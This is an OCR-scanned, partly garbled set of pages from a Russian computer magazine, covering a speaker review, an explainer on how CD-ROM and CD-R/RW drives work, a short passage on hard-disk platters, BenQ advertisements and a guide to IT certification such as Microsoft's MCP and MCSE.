подсоединить акустику по цифре к род- 
ной креативовской многоканальной зву- 
ковухе. Правда, сделать это придется не 
через обычный разъем 8/РОІР, а только 
через специализированный 4-контактный 
разъем «миниджек», используемый в но- 
вых звуковых картах от Сгеаііѵе. Провода 
для подключения довольно качественные 
с разъемами ВСА на одном конце и залу- 
женными на другом. Все это лужение 
нужно для того, чтобы тонкие жилы не по- 
страдали от острых зажимов, да и элект- 
рический контакт будет на порядок луч- 
ше. Сзади сабвуфера, помимо основных 
разъемов для подключения, имеется вход 
для проводного пульта ДУ, регулятор 
уровня басов и переключатель высоких 
частот (ТгеЫе РІаІ/ВесІисе). Подставки об- 
ладают постоянным углом наклона, а к 
сателлитам крепятся винтами с удобной 
головкой. Центральная колонка устанав- 
ливается на монитор с помощью само- 
клеющихся резинок, или же можно вос- 
пользоваться специальной подставкой с 
плавной регулировкой наклона. 



СРЕАТІѴЕ 

МЕСАѴѴОНК8 5100 

ПЕРВЫЙ ВЗГЛЯД 

Если набор Сгеаііѵе МедаѴѴогкз 5100 уда- 
лось успешно донести до дома и не про- 
гнуться от его внушительного веса, то по- 
сле распаковки коробки взору предстанут 
огромный сабвуфер и симпатичного вида 
сателлиты. Деревянный сабвуфер имеет 
форму куба с ножками с подошвой из мяг- 
кой резины. Кстати, резиновые ножки есть 
и у съемных подставок для сателлитов, так 
что ничего скользить и падать не будет. 



ПОДКЛЮЧАЕМ! 



К МедаѴѴогкз 5100 можно подключить 
любую звуковую карту (двух-, четырех- 



Прослушать и оценить работу ЗѴЕИ НТ- 
485 предстояло на нескольких йѴО-филь- 
мах («Микрокосмос», «Властелин колец»), 
разнообразных АисІіо-СО и дисках с 
МРЗ’шками, а также на крутых гамесах с 
продвинутым звуком (ІІТ 2003, МаТіа и 
т.д.). Что сразу вызвало симпатию, так 
это четкая работа сабвуфера без всячес- 
ких захлебываний и мерзкого бульканья. 
А вот если оставить его без работы, то 
становится слышен низкочастотный фон 
от тока. Частота среза сабвуфера подда- 
ется настройке с помощью пульта ДУ, по- 
этому басы можно легко подобрать на 
собственный вкус. Что касается сателли- 
тов, то чувствуется нехватка ВЧ-динами- 
ков. Однако отсутствие чистых «верхов» 
компенсируется настройкой встроенного 
электронного регулятора тембра. В це- 
лом же, диалоги и эффекты в ОУЭ-филь- 
мах довольно четкие и яркие, без замет- 
ных искажений. Музыка играет ровно, но 
все-таки не так насыщенно, как хотелось 
бы. Ну, а в игрушках ЗѴЕИ НТ-485 прояв- 
ляет себя с самой лучшей стороны, радуя 
геймеров мощными взрывами, шумом 
встречного ветра и визгом шин. 



■ Материал корпуса колонок: де- 
рево у сабвуфера и пластмасса у 
сателлитов. 

■ Входы: 2-, 4-, 6-канальный ана- 
логовый, 6-канальный цифровой. 

■ Мощность: сателлиты - 70 Ватт 
(на каждый), сабвуфер - 150 Ватт. 

■ Частотный диапазон: сабвуфер - 
32-50 Гц, сателлиты - 150-18 кГц. 
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СО-ВОМ/В/Ш 

с[Пт] Никита Кислицин ака МікіГоз 
(пікіІ05@геаІ. хакер, ш) 



СО-ВОМ/Р/ВѴѴ 



«СР-КОМ» 

Компакт-диски первоначально разрабатывались как носители аудиоинформа- 
ции, но эта технология нашла также широкое применение в области хранения 
компьютерных данных. Этому способствовала низкая себестоимость носите- 
ля и его высокая вместимость - на современные диски влезает до 700 мега- 
байт информации. 

Толщина диска составляет 1 .2 мм, диаметр - 12 см. Выполняется он из же- 
сткого поликарбоната, на одну сторону которого нанесен тонкий металличе- 
ский отражающий слой (чаще всего алюминиевый, реже - золотой), покры- 
тый сверху специальным оптически прозрачным защитным лаком. Инфор- 
мация на диске записана в виде чередований углублений в поверхности ме- 
таллического слоя. Логично было бы предположить, что нулю соответствует 
углубление (так называемый пит), а единице - ровная поверхность (так на- 
зываемый ленд). Но, увы, не все так просто. Записываемая на диск инфор- 
мация в двоичном коде может иметь произвольный вид - хаос единичек и 
ноликов. Как же их записать на диск-то? Ведь у дорожки есть только два по- 
стоянно меняющихся состояния - пит и ленд. Получается, что записать мож- 
но только 101010101 и т.д. Ерунда получается. Для решения этой и множе- 
ства других серьезных проблем фирма РЫІірз разработала специальный ал- 
горитм кодирования исходных данных, называемый ЕРМ-кодом (Еідііі Іо 
Роигіееп Мосіиіайоп). Суть его в том, что из каждого байта информации он 
делает 14-битные слова, прибавляя к ним еще три так называемых соеди- 
нительных разряда. В результате кодирования получается непрерывная по- 
следовательность бит, причем между двумя единицами никогда не может 



быть больше десяти и меньше двух нулей. После чтения информации она 
декодируется и принимает прежний вид произвольного слова в двоичном 
алфавите. Таким образом, для кодирования одного байта исходной инфор- 
мации на диск пишется 17 бит. Логической единице соответствует граница 
между питом и лендом, пит и ленд интерпретируются как слово некоторой 
длины, состоящее лишь из нулей, причем разрядность этого слова зависит 
от длины пита или ленда. Питы появляются на гладкой поверхности поли- 
карбонатной основы диска в результате действия мощного лазера, который 
прожигает в ней углубления. Это делается ДО нанесения отражающего ме- 
таллического слоя, т.е. фактически в процессе производства самого диска. 
Несколько слов о логической организации СЭ-ВОМ. Базовая информаци- 
онная единица - кадр (Ргате), содержащий 558 бит (24*17 + 180 бит для 
коррекции ошибок). Кадры образуют секторы и блоки, сектор состоит из 
3234-х байтов (2352 информационных, остальные для коррекции ошибок). 
Такая сложная система обеспечивает довольно высокое качество чтения 
информации, неверно читается лишь один бит из десяти миллиардов, при- 
чем эта ошибка исправляется благодаря кодированию записываемой на 
диск информации. Вся поверхность диска логически поделена на три обла- 
сти: 

Входная директория - ближайшее к центру диска кольцо шириной 4 мм, где 
хранится опознающая диск информация (название диска, объем записанной 
информации, адреса записей, и т.д.). 

Область данных - гут хранится записанная информация. 

Выходная директория - дорожка, имеющая метку конца диска. 



Эта 




плата поднимается 



Линза с держателем Ограничитель подъема 



Весь этот мега- 
механизм 
занимается 
только одним - 
приподнимает 
основную плату с 
линзой 



Двигатель, лихо 
закручивающий 
болванку :) 



Второй моторчик, двигающий лазер по оси 



Линза лазера движется по этой оси 
от одной дорожки диска к другой 



і 
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Оптика 



Сердце системы - квантовый генератор - так называемый ла- 
зер. В приводах используются полупроводниковые генерато- 
ры, которые сочетают компактность и довольно высокую мощ- 
ность излучения. Единственное ограничение, связанное с их 
строением, заключается в том, что лазер может работать 
только в одном частотном диапазоне, что, учитывая специфи- 
ку некоторых оптических технологий, совсем не принципиаль- 
но. Излучаемый лазером свет проходит через систему так на- 
зываемых разделительных призм, многократно преломляясь и 
выходя наружу в том же направлении, куда и был испущен. От- 
ражаясь от крошечного зеркальца, расположенного под углом 
в 135 градусов относительно луча, свет переходит в верти- 
кальную плоскость и попадает в собирающую оптическую лин- 
зу, которая фокусирует луч в одну точку, диаметр которой ед- 
ва превосходит ширину дорожки. Диск, как и следовало ожи- 
дать, при этом довольно быстро вращается, и питы/ленды не- 
сутся относительно луча. Поверхность диска периодически от- 
ражает лендами падающий на нее свет, отраженные колеба- 
ния опять проходят через линзы, зеркало и попадают в систе- 
му призм. Оттуда, многократно преломившись, они выходят в 
том же направлении, но уже в другом месте, в результате че- 
го не возвращаются в генератор, а падают на так называемый 
фотоэлемент - устройство, которое преобразует энергию 
квантов света в электричество. Соответственно, от частоты 
встречи сфокусированного луча и лендов зависит частота по- 
падания света на фотоэлемент и в конечном итоге колебания 
напряжения на выводах «солнечной батареи». Как известно, 
оптические технологии требуют высокой точности, поскольку 
из-за отклонения луча, скажем, на четверть микрона, привод 
не сможет читать информацию. Поэтому в производстве Сй- 
приводов используют очень точные оптические «инструмен- 
ты». Призмы должны быть идеально гладкими и однородны- 
ми, с абсолютно точными значениями величин углов ее вер- 
шин и коэффициентом преломления света. Они должны быть 
правильно составлены в единую систему. Зеркало должно 
быть идеально плоским и т.д. Но вернемся к нашей проблеме. 
Снимаемые с фотоэлемента колебания - это и есть прочитан- 
ная информация. Да, та самая закодированная последова- 
тельность бит. Настала пора ее раскодировать - перевести 
ЕРМ-код в исходные двоичные слова. Этим занимается элек- 
тронная часть устройства. 





Безопасность + 7200 Кб/сек = 
(драйв без ограничений) 2 




Обладая скоростью записи 48х, ВепО СКУѴ 481 6Р является одним самых 
быстрых СО-ВѴѴ дисководов в мире. При больших скоростях есть риск не 
вписаться в поворот, но встроенная функция СоІІівіоп ОиагсІ удержит Вас на своей 
полосе. Четкость работы, высокая скорость и бесшумность хода - все, что нужно 
для великолепного драйва. Забудьте о 
контроле над скоростью, пристегните ремни и 
наслаждайтесь поездкой. Потому что 
удовольствие имеет значение. 

СПѴѴ 481 6Р это лишь один из новых 
высокоскоростных дисководов ВепО. 

Хотите узнать больше? Посетите наш 
Интернет сайт ѵѵѵѵѵѵ.ВепО.ги 



Оптовые продажи: 

СіЫІіпк: (095) 745-2999, ѵѵѵѵѵѵ.сіъіііпк.ги; ЕІзіе: (095) 777-9779, \л/\л/\л/.еІзіе.ги; 
Ноітгоск: (0112) 593-459, ѵѵѵѵѵѵ.ИоІтгоск.ги; Ьапск С&Т: (095) 234-0012, (812) 
325-6666, ѵѵѵѵѵѵ.Іапск.ги; ЫгагсІ: (095) 799-5398, ѵѵѵѵѵѵ.іігагсі.ги; ТгіпіЪу ЕІесЬгопісз: 
(095) 737-8046; Деникин: (095) 787-4999, ѵѵѵѵм/.сіепікіп.ги; СПЕДопыт: (095) 
787-5535, мллмл/.зіесіоріъ.ги 

Информация о розничных продажах доступна на ѵшллл/.ВепО.ги 



вепо, 

Епрутепі Маііегз 
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Электроника 



ВИНЧЕСТЕР 

і<Пі] Никита Кислицин ака Ыікііоз 
(пікіІ05@геаІ. хакер, ш) 



«сэ-в/вѵѵ» 

С недавнего времени в наш обиход плотно вошли так называ- 
емые «болванки» - ссі-г/гѵѵ диски, на которых можно самосто- 
ятельно, не имея сложного аппаратного обеспечения, разме- 
щать информацию. В чем отличие между ними и обычными 
дисками? Если в СЭ-ВОМ дисках питы создаются на стадии 
производства самого диска, то в СЭ-Р/РѴѴ вариациях сущест- 
вует возможность создавать их в домашних условиях! Ниже 
мы рассмотрим структуру и строение такого диска. Основой 
для него служит все та же поликарбонатная пластина, но вот 
рельеф ее значительно сложнее, чем у записанного ссі-гот 
диска. Все дело в том, что, по определению, диск без инфор- 
мации - диск без питов. Тут-то и кроется основная проблема. 
Питы в обычном диске служат не только как носители инфор- 
мации, но и как источник данных для так называемой следя- 
щей системы, которая отыскивает дорожки с информацией и 
направляет луч лазера аккурат на них. Следует сказать, что ло- 
гическая дорожка имеет ширину всего 0.6 мкм, а расстояние 
между двумя соседними треками всего 1 .6 мкм. Почему я ска- 
зал про дорожку, что она «логическая»? Дело в том, что физи- 
чески совокупность всех этих дорожек представляет собой 
спираль, идущую от внутреннего диаметра к внешнему. Те- 
перь представим, что поверхность абсолютно ровная - в этом 
случае следящей системе не за что зацепиться. Поэтому на 
стадии производства диска его поверхность покрывают спи- 
ральной канавкой (Ргедгооѵе), которая служит ориентиром для 
системы слежения. Канавка заполняется специальным орга- 
ническим красителем - так называемым «регистрирующим 
слоем», который темнее основной поверхности диска. Однако 
и слишком темным он быть не может - иначе не будут разли- 
чимы питы, которые позже появятся на спирали. Мощность 
лазера, в зависимости от скорости вращения диска и режима 
его работы, колеблется от 0.7 мВт (при считывании) до 30 мВт 
(при записи). Энергия лазерного луча, точнее, его квантов, по- 
глощается органическим веществом, в результате чего оно 
довольно сильно нагревается - до температуры, превышаю- 
щей температуру плавления поликарбоната, из-за чего сама 
основа диска в данной точке плавится и деформируется. В ре- 
зультате количество света, которое отражает такой участок, 
значительно ниже количества света, которое отражают ос- 
тальные, не прожженные участки. А темные пятна - это и есть 
«питы», правда, уже несколько другие. Туг вообще некоторая 
путаница возникает - после записи информации питы и ленды 
появляются на месте прежнего одного большого пита - той са- 
мой спирали-канавки, заполненной красителем. Чтобы этой 
путаницы избежать, мы отбросим все эти подробности с ка- 
навкой и будем, как и в случае с ссі-гот, рассматривать толь- 
ко два положения поверхности диска: пит и ленд. В действи- 
тельности же, как я уже говорил, там все несколько сложнее и 
требует введения новых терминов, чего я себе в рамках руб- 
рики позволить не могу - да и не так это важно. Что касается 
перезаписываемых дисков, то они устроены, в принципе, так 
же. За исключением маленькой детали. В качестве регистри- 
рующего слоя у них используется вещество, способное при 
нагревании выше определенной отметки переходить в аморф- 
ное состояние и оставаться там после остывания, в результа- 
те чего меняется цвет вещества - оно темнеет, образуя пит. 
При повторном же нагреве вещество переходит в прежнее со- 
стояние и восстанавливает былой цвет. 



Как и следовало ожидать, она монтируется на плате и представляет собой довольно 
хитрую электрическую схему. Твой взгляд сразу цепляется за красивые микросхемы 
с кучей ножек. Ими и займемся. Если построить график электрических колебаний, 
снимаемых с фотоэлемента, то он будет выглядеть как плавная линия - «синусоида», 
да простят меня математики. Но в машинном алфавите только два символа - едини- 
ца и ноль. Стало быть, эти колебания надо преобразовать в другие - прямоугольные, 
где бы ток мгновенно появлялся и исчезал, а график бы имел только два возможных 
значения, которые бы однозначно интерпретировались, соответственно, как единица 
и ноль - «ток есть\тока нет». Слово «мгновенно» в предыдущем предложении, вооб- 
ще говоря, надо было бы взять в кавычки - любой процесс требует некоторого вре- 
мени, но в данном случае это время пренебрежимо мало, поэтому слово оставим в 
покое :). Проблема преобразования высокочастотного сигнала с широкой амплитудой 
значений в более простую импульсную форму решается устройством, называемым 
компаратором. Не буду в рамках этой статьи обсуждать его внутреннее логико-физи- 
ческое строение, по этой непростой теме защищают дипломные работы и пишут 
очень толстые и умные книги. Также на плате присутствует стандартный набор уст- 
ройств, обеспечивающих взаимодействие с контроллером устройства (он обычно 
располагается на материнской плате), управление приводом (регулирование скоро- 
сти вращения, позиционирование лазерного луча над дорожками с питами, переме- 
щение оптической системы от внутреннего диска к внешнему и т.д.). Зацикливаться 
на них не будем - все ясно из фотографии и предыдущих абзацев. 
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О скорости чтения 

В приводе присутствуют ТРИ электродвигателя. Первый, и основной, 
раскручивает компакт-диск, благодаря чему осуществляется считы- 
вание информации. Второй перемещает оптическую систему над по- 
верхностью диска. Третий выдвигает дископриемник :). Если с по- 
следними двумя все более-менее ясно, то работа первого заслужи- 
вает более подробного описания. Первые приводы СО-ПОМ переда- 
вали данные с диска в оперативную память со скоростью 1 50 кб/сек, 
скорость работы более поздних моделей обычно кратна этому числу. 
Отсюда, собственно, и пошло понятие [М-скоростного привода. N оз- 
начает, что данный привод способен считывать информацию со ско- 
ростью = І\Г150 кбайт в секунду. С переходом к более быстродейст- 
вующим моделям приводов возникла некоторая путаница с поняти- 
ем кратности. Все дело в том, что этот термин применяется не к уг- 
ловой скорости вращения диска, а к линейной скорости движения 
питов относительно лазерного луча. Но чем дальше от центра диска, 
тем выше линейная скорость! Специфика аудио-технологии (для ко- 
торой ссі-гот и были впервые спроектированы) такова, что требует- 
ся постоянство скорости считывания данных, означающее постоянст- 
во линейной скорости, а значит и переменной угловой. Эта техноло- 
гия и использовалась вплоть до появления 16-скоростных приводов. 
Дальше возникли серьезные технические проблемы, которые были 
решены переходом от приводов с постоянной линейной скоростью к 
приводам с частично-постоянной линейной скоростью. Поэтому в 
дисках с кратностью больше 16-ти паспортное (т.е. п* 1 50) значение 
скорости достигается только на внешнем крае диска, в то время как 
на внутреннем этот показатель может быть почти вдвое меньше. Вот 
уже примерно два года, после выхода 60-скоростного привода, серь- 
езных продвижений в СО- ВОМ -технологии нет, да и, по существу, 
быть не может. Ну, во-первых, появилась значительно более пер- 
спективная технология оптических носителей информации - ОѴО, на 
которую и направлен энтузиазм инженеров. А во-вторых, потенциал 
повышения кратности скорости передачи данных исчерпан, ибо при 
дальнейшем увеличении скорости вращения СО не обеспечивается 
должный уровень качества считывания. Ну что ж, можно сказать, что 
СЭ-РЮМ технология себя изжила. Хотя как изжила, когда еще ис- 
пользуются дискеты, и ЭѴО-приводы есть менее чем у 1% компью- 
теров в России? Вот лет через пять... 







Утонченность + совершенство 
(притяжение) 2 




С первого взгляда они привлекут Вас своей изящностью. Затем Вам откроется их 
совершенство. ЖК-мониторы ВепОі - это воплощение лучших достижений в 
областях дисплейных и мультимедийных технологий. Высокие уровни яркости и 
контрастности лежат в основе кристально чистых и реалистичных цветов. 
Широкий угол обзора и автоматическая 
настройка изображения позволят Вам 
полностью погрузиться в мир виртуальной 
реальности. Красота. Соблазн. Притяжение. С 
ВепО Вам откроются все яркие стороны жизни. 

Жизни, где удовольствие имеет значение. 



вепсі 



Хотите узнать больше? Посетите наш ЕпІОѴГПепІ Мй11ег$ 
Интернет сайт млллл/.ВепО.ги 1 



Оптовые продажи: 

СіЫІіпк: (095) 745-2999, ѵѵѵѵѵѵ.сНИіпк.ги; ЕІвіе: (095) 777-9779, м/ѵѵѵѵ.еізіе.ги; 
Ноітгоск: (0112) 593-459, ѵѵѵѵѵѵ.ИоІтгоск.ги; І_апск С&Т: (095) 234-0012, (812) 
325-6666, \л/\л/\л/.1апск.ги; Ыгагсі: (095) 799-5398, шшш.Пгагб.ги; ТгіпіЬу ЕІесЫопісз 
(095)737-8046; Деникин: (095) 787-4999, ѵѵѵѵѵѵ.сіепікіп.ги; Р. и К.: (095) 956-7752, 
ѵѵѵѵѵѵ.г-апсі-к.сот; СПЕДопыт: (095) 787-5535, ѵѵмпл/.зіесіоріе.ги 
Информация о розничных продажах доступна на шѵѵиѵ.ВепО.ги 



• Носители информации 

В качестве хранителей данных выступают тонкие плас- 
тинки толщиной примерно 2 мм, на которые с обеих сто- 
рон нанесено магнитное покрытие, обладающее способ- 
ностью менять свои свойства под воздействием электро- 
магнитных излучений. Раньше эти пластины выполня- 
лись из стекла, сейчас используются преимущественно 
пластики - это "дешево, надежно и практично", но при- 



том еще и эстетично. В качестве магнитного покрытия 
сейчас, в основном, юзают окись хрома - вещество, ко- 
торое, в отличие от своего предка, используемого в бо- 
лее ранних моделях - окиси железа, сохраняет свои маг- 
нитные свойства значительно более длительный срок. 
Магнитное покрытие чрезвычайно чувствительно к физи- 
ческим на него воздействиям, поэтому на каждом блине 
есть так называемая "парковочная зона" - область плас- 
тины у шпинделя, где не содержится никакой информа- 



ции и куда опускается после завершения работы считы- 
вающая и записывающая информацию магнитная голо- 
вка. В современных жестких дисках, с целью повысить их 
вместительность, нередко используется несколько плас- 
тин. Это при том, что на один блин может, при исполь- 
зовании технологии фирмы ѴѴезіегп ОідііаІ, влезть 60 ги- 
габайт информации! А недавно был анонс об уже вось- 
мидесяти гигах на одну пластину... 
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СЕРТИФИКАЦИЯ ІТ-СПЕЦИАЛИСТОВ 



Ф Егор Орлов (Едог.ОгІоѵ@аѵаІоп.ги) 



Сертификация 
ІТ-специал истов 

пособие для начинающих _ 



Ты когда-нибудь видел, чтобы на высокооплачиваемую работу в сфере информационных 
технологий требовались люди без опыта? Я - ни разу. Увы, в наше время без солидного послужного 
списка на хорошую работу рассчитывать нечего. Однако если ты не работаешь по специальности, 
то откуда же этому опыту появиться? Получается замкнутый круг, в который попадают многие 
начинающие ІТ-специалисты. О том, как этот круг разорвать, а также о плюсах обладания 
сертификатом и о подводных камнях на пути его получения, и пойдет речь в этой статье. 




Есть вендор - компания, выпускающая и продающая ПО, 
хард, услуги (Місгозой, Іпіеі, ІВМ и т.п.). Когда компания хо- 
чет выделить/наградить специалистов по своему продукту, 
подняв тем самым ажиотаж вокруг него, она придумывает 
сертификационные экзамены, включающие вопросы по про- 
дукту, и соответствующие им статусы сертификации. После 
этого компания, как правило, обращается к провайдеру сер- 
тификации. Известных провайдеров всего два: Ѵіііиаі 
ІІпіѵегзйу Еп!егрпзез(\/11Е) и ТІіотзоп Рготеігіс. Они занима- 
ются проведением сертификационных экзаменов через цен- 
тры тестирования, разбросанные по всему миру. Сами экза- 



Сертификат МС8Е 



мены при этом оформляются в виде компьютерного теста. 
Если какой-нибудь экзамен предполагает практику (РесШаІ, 
некоторые экзамены СІЗСО), сертификация проводится са- 
мими компаниями, без привлечения провайдеров сертифи- 
кации. Подобные экзамены сдавать очень проблематично, 
т.к. в большинстве случаев это можно сделать только в США. 

Помимо вендоров существует ряд компаний, проводящих 
независимую сертификацию или сертификацию, не при- 
вязанную к конкретному продукту. Но об этом позднее. 

Есть ты - человек, который хочет стать сертифицирован- 
ным специалистом. Сперва тебе необходимо твердо ре- 
шить, какой сертификационный статус тебя интересует. 
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Затем - узнать (к примеру, на сайте вендора), какие экза- 
мены требуется сдать для получения данного статуса. Оп- 
ределив конкретную цель, ты переходишь к самому важно- 
му моменту - подготовке (см. ниже). Заключительный этап 
- заказ (и оплата) выбранного экзамена в центре тестиро- 
вания - организации, обладающей статусом АиМюгігесі 
Рготеігіс Тезііпд Сепіег или ѴІІЕ АиІИогігесІ Тезііпд Сепіег. 
Учти, заказ следует делать заранее - обычно за два дня до 
желаемой даты сдачи экзамена. Все, после этого отсту- 
пать поздно. Остается только придти и сдать. 

Помимо подобных механизмов тестирования существует 
еще и оп-Ііпе сертификация, т.е. экзамен сдается из бра- 
узера. Разумеется, котируется такая сертификация гораз- 
до ниже и может быть интересна разве что с точки зрения 
проверки своих собственных сил. 

А теперь подробнее - что, как, зачем и почему. 



Книги для самоподготовки к сертификационным экзаменам 



МісгозоН ѴѴіпсІоѵѵз ХР РгоТеззіопаІ. 

Учебный курс МС5А/МС5Е (экзамен № 70-270). 

Цена: 494 руб. 

Місго8оН ѴѴіпсІоѵѵз 2000 Зегѵег. 

Учебный курс МСЗА/ МС5Е (экзамен № 70-215). 

Цена: 442 руб. 

Администрирование сети на основе МісгозоЙ ѴѴіпсІоѵѵз 2000. 

Учебный курс МС5Е (экзамен № 70-216). 

Цена: 286 руб. 

(по ценам ѵѵѵѵѵѵ.іШоок.ги) 



<Две стороны сертификации> 



Вначале рассмотрим положительные моменты: 

1 . В ряде случаев, при устройстве на работу, сертификаци- 
онный статус может или заменять опыт работы, или выгод- 
но его дополнять. Действительно, раз есть статус, под- 
тверждающий знание продукта, значит, есть и опыт работы 
с ним, т.е. какой-то ОПЫТ имеется. Усек, в чем хитрость? 

2. Если работу искать уже (пока) не надо, то полученный 
сертификат можно продемонстрировать начальству и по- 
требовать повышения зарплаты :). 

3. Ну и, наконец, это просто престижно. Ведь одно дело 
говорить, что ты - спец, и совсем другое - показывать со- 
лидный документ от серьезной конторы, подтверждаю- 
щий твои знания. 

Впрочем, минусов тоже хватает: 



1 . К сертификации надо готовиться. Независимо от твоего 
опыта общения с продуктом, придется потратить опреде- 
ленное время на его дополнительное изучение. Проблема, 
собственно, состоит в следующем. При работе с системой 
юзер (админ, девелопер) знает наиболее важные для его 
задач фичи и игнорирует все остальные. Вендоры же под- 
ходят с другой позиции - раз они что-то в своем продукте 
реализовали, то обязательно об этом спросят, даже если 
этим никто не пользуется. Например, тебе часто приходи- 
лось настраивать синхронизацию оШпе-папок в ѴѴіп2к? 
Мне не часто. Однако на экзамене по ѴѴіпсІоѵѵз 2000 
РгоТеззіопаІ подобный вопрос встречается. 

2. Сертификация стоит денег. В большинстве случаев - не 
заоблачных, но тем не менее. 50-100-150 зеленых. Учиты- 
вая приведенные выше плюсы, она, безусловно, окупится. 



Но потом. За пределами указанного ценового диапазона 
лежит стоимость экзаменов по коммерческим ІІІ\ІІХ-по- 
добным системам (и, что удивительно, не только коммер- 
ческим, смотри, например, сертификацию по ВесІНаІ 
І_іпих) и сетевому оборудованию. В этом случае счет мо- 
жет идти на сотни-тысячи баксов. Но где выше ставки, 
там выше и зарплаты. 

В случае неудачи деньги не возвращаются, и за следую- 
щую попытку снова приходится платить. 

К тому же денег требует и подготовка к сертификации: не- 
зависимо от того, самостоятельно ты собираешься гото- 
виться или нет - придется тратиться на книжки или прохо- 
дить обучение по продукту. 

3. Сертификация имеет тенденцию устаревать. Сроки мо- 
гут быть разными - обычно от года до трех. Порой продукт 
попросту перестает быть актуальным на рынке. Так или 
иначе, полученный статус не вечен - его придется либо 
подтверждать, сдавая экзамен заново, либо сертифициро- 
ваться по следующей версии. Расслабляться тут нельзя. 



<Что дают> 



Итогом сдачи экзамена является получение сертификата - 
цветной бумажки формата А4, которая высылается вендором 
по почте в случае, если ты действительно оказался крут. 

Помимо самих сертификатов вендоры практикуют рас- 
сылку всяческой атрибутики - ручек, футболок, ковриков 
для мыши и т.п. Бывают и более серьезные подарки. 
МісгозоЙ, например, несколько лет назад дарила подпис- 
ку на МісгозоЙ ТесШе! всем, кто стал сертифицирован- 
ным инженером, сдав 6 экзаменов (тогда еще по ѴѴіпсІоѵѵз 
N1 4.0). Сейчас дают лишь скидку на подписку :(. Зато те- 



перь любой, кто сдал хотя бы один экзамен, получает зна- 
чок с указанием статуса и магнитную карточку. К сожале- 
нию, за несколько лет обладания карточкой ее магнитные 
свойства мне так ни разу и не удалось применить. Значок 
же, безусловно, полезен - после предварительного рас- 
сказа о компьютерах, МісгозоЙ, сертификации и собст- 
венной крутизне его можно с гордостью демонстрировать 
лицам противоположного пола. 



<Что сдавать> 



Наибольшее раздолье в плане сертификации доступно си- 
садминам. Большинство компаний создает экзамены, 
ориентированные именно на проверку знаний по установ- 
ке, настройке, поддержке и решению проблем с их про- 
дуктами. 

В зависимости от личных пристрастий, предполагаемого 
места работы, доступных финансов и множества прочих 
факторов они могут выбрать сертификацию по операци- 
онным системам от МісгозоЙ, Зип, НР, ВесіНаІ и т.д., по 
базам данных от Огасіе, МісгозоЙ, по железу от Іпіеі, Зип 
и множества других компаний, по сетевому обору- к 
дованию от Сізсо, Моііеі, ЗСОМ, а также комплекс- га 
ные программы, такие как, например, СотрТІА. “7 




Магнитная карточка 
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Программы сертификации МісгозоН 



СЕРТИФИКАЦИЯ ІТ-СПЕЦИАЛ ИСТОВ 



ф Егор Орлов (Едог.ОгІоѵ@аѵаІоп.ги) 



Наибольшей известностью в России пользуются сертифи- 
кации от Місго$оЙ. Учитывая их относительно невысокую 
цену и широкое распространение майкрософтовского ПО, 
начинающему ІТ-специалисту следует обратить на них 
внимание в первую очередь. 

Если же ты - сетевой спец или хочешь им стать, тебе од- 
нозначно имеет смысл присмотреться к сертификации от 
СІЗСО. Эта сертификация котируется достаточно высоко, 
правда, есть одно «но» - подготовиться самостоятельно к 
ней практически невозможно. Изучать по книжкам конфи- 
гурирование маршрутизаторов без возможности потро- 
гать саму железку - занятие неблагодарное. Тут прямая 
дорога в учебный центр на курсы по оборудованию СІЗСО 
(если, конечно, нет такой железки на работе). 

Что касается сертификации по І_іпих, то доступна серти- 
фикация от компании РесШаІ, но при этом стоит она не- 
мало - 750 баксов, к тому же прием экзамена производит- 
ся не через провайдеров (ѴІІЕ, Рготеігіс), а самим 
РесІНаІ’ом, поэтому сдавать его можно лишь в Штатах. 
Более реальные варианты - сертификации, предлагаемые 
І_РІ и 5АІР еміуипих. 

Сертификация администраторов по другим ШМІХ-подоб- 
ным системам (Зоіагіз, НР-ІІХ, АІХ) проводится их произ- 
водителями и обходится недешево. 



МСР - МісгозоЙ СегІіТіесІ РгоТеззіопаІ - сертифицированный специалист МісгозоЙ. Одна из самых простых 
сертификаций, так что рекомендую начать именно с нее. Для получения этого статуса необходимо сдать только 
один экзамен - по любому продукту М3. Как правило, для получения МСР сейчас сдают экзамены по ѴѴіпсІоѵѵз 2000 
РгоТеззіопаІ или по ѴѴіпсІоѵѵз 2000 Зегѵег. При сдаче еще одного экзамена повторный сертификат высылаться не 
будет (статуса «дважды МСР» у МісгозоЙ не предусмотрено), поэтому прохождение дополнительных экзаменов 
имеет смысл, только если ты претендуешь на более высокие статусы. 

МС5Е - МісгозоЙ СегМіесІ Зузіет Епдепеег - сертифицированный инженер. Статус для опытного сисадмина. На 
данный момент для его получения требуется сдать семь экзаменов (правда, один из них ты уже сдал, получая 
МСР). Четыре из этих семи обязательные - это РгоТеззіопаІ, Зегѵег, экзамен по сети и по активному каталогу. 
Остальные три - по выбору. При этом, как минимум, один из них должен быть сложным экзаменом по 
проектированию, остальные 2 можно взять любые. Требования достаточно высоки - в отличие от статуса МСР, 
получить МСЗЕ не так уж легко. 

МСЗА - МісгозоЙ СегШеб Зузіет АсІтіпізТгаТог - сертифицированный администратор. Относительно новая 
сертификация, введена МісгозоЙ для того, чтобы заполнить разрыв требований к МСР и МСЗЕ. Фактически это 
облегченный вариант МСЗЕ - нет необходимости сдавать сложные экзамены по проектированию. 3 обязательных 
экзамена, один произвольный. 

МСР В А - МісгозоЙ СегШеб ЭаіаЬазе Асітіпізйаіог - сертифицированный администратор баз данных. Разумеется, 
речь идет о М3 30І_ Зегѵег. В настоящий момент - М3 ЗОІ_ Зегѵег 2000. Необходимо сдать 4 экзамена, из них 3 
обязательных - по администрированию 50І_ Зегѵег 2000, по проектированию баз данных для него и по 
операционкам. 

МС5Р - МісгозоЙ СегІіТіесІ ЗоІиТіоп Эеѵеіорег - сертифицированный разработчик решений. Существует в вариантах 
для ѴізиаІ ЗТисІіо и ѴізиаІ ЗТисІіо .МЕТ. 4 экзамена (для .МЕТ - 5) - 3 обязательных и один - по выбору. Из 
обязательных - 2 экзамена по использованию средств разработки - ѴізиаІ С++, Вазіс, РохРго (для .МЕТ - С# и 
Вазіс) для создания обычных и распределенных приложений, и третий - по принципам проектирования и 
разработки ПО (070-100) - самый сложный, требует отдельной подготовки по литературе и опыта разработки 
больших проектов. 

МСАй - МісгозоЙ СегТіТіесІ Арріісаііоп йеѵеіорег - сертифицированный разработчик приложений. Являет собой 
упрощенную версию МСЗЭ. Необходимо сдать 3 экзамена (без экзамена по проектированию). 



С сертификацией разработчиков дело обстоит похуже. 
Причина - почти полное отсутствие широко распространен- 
ных программ сертификации по языкам программирова- 
ния. Вместо них имеются сертификации или по средствам 
разработки (ѴізиаІ Зіисііо, Эеірііі и т.д.), или по продуктам, 
под которые производится разработка (например, Огасіе). 
Подобные сертификации предлагают МісгозоЙ, Зип (по Зип 
ОМЕ Зіисііо), ІВМ и ряд других производителей. 

